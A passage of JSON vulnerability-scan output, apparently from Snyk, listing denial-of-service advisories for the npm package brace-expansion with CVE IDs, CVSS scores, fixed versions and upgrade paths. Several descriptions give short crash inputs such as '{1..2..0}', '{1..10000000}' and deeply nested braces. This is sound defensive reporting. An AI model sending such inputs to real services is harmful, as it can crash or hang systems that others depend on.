"GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 